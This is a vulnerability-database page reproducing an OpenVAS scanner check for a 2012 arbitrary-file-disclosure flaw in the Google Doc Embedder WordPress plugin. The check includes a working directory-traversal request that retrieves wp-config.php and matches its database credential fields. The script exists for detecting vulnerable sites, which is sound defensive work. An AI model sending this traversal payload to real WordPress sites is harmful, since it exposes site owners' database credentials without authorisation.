Lucene search
+L

WordPress Google Doc Embedder Plugin Arbitrary File Disclosure Vulnerability

🗓️ 08 Jan 2013 00:00:00Reported by Copyright (C) 2013 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 39 Views

WordPress Google Doc Embedder Plugin Arbitrary File Disclosure Vulnerabilit

Related
Refs
Code
SourceLink
securityfocuswww.securityfocus.com/bid/57133
# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103637");
  script_cve_id("CVE-2012-4915");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_version("2023-07-27T05:05:08+0000");

  script_name("WordPress Google Doc Embedder Plugin Arbitrary File Disclosure Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/57133");

  script_tag(name:"last_modification", value:"2023-07-27 05:05:08 +0000 (Thu, 27 Jul 2023)");
  script_tag(name:"creation_date", value:"2013-01-08 14:00:15 +0100 (Tue, 08 Jan 2013)");

  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("wordpress/http/detected");

  script_tag(name:"solution", value:"Vendor updates are available. Please see the references for more
  information.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"summary", value:"The Google Doc Embedder Plugin for WordPress is prone to an arbitrary
  file-disclosure vulnerability because it fails to properly sanitize user-supplied input.");

  script_tag(name:"impact", value:"A remote attacker can use directory-traversal sequences to retrieve
  arbitrary files in the context of the affected application.");

  script_tag(name:"affected", value:"Google Doc Embedder 2.4.6 is vulnerable, other versions may also be affected.");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

vtstrings = get_vt_strings();
filename = vtstrings["lowercase_rand"] + '.pdf';

url = dir + '/wp-content/plugins/google-document-embedder/libs/pdf.php?fn=' + filename  + '&file=../../../../wp-config.php';
if(http_vuln_check(port:port, url:url, pattern:"DB_NAME", extra_check:make_list("DB_USER","DB_PASSWORD","DB_HOST"))) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation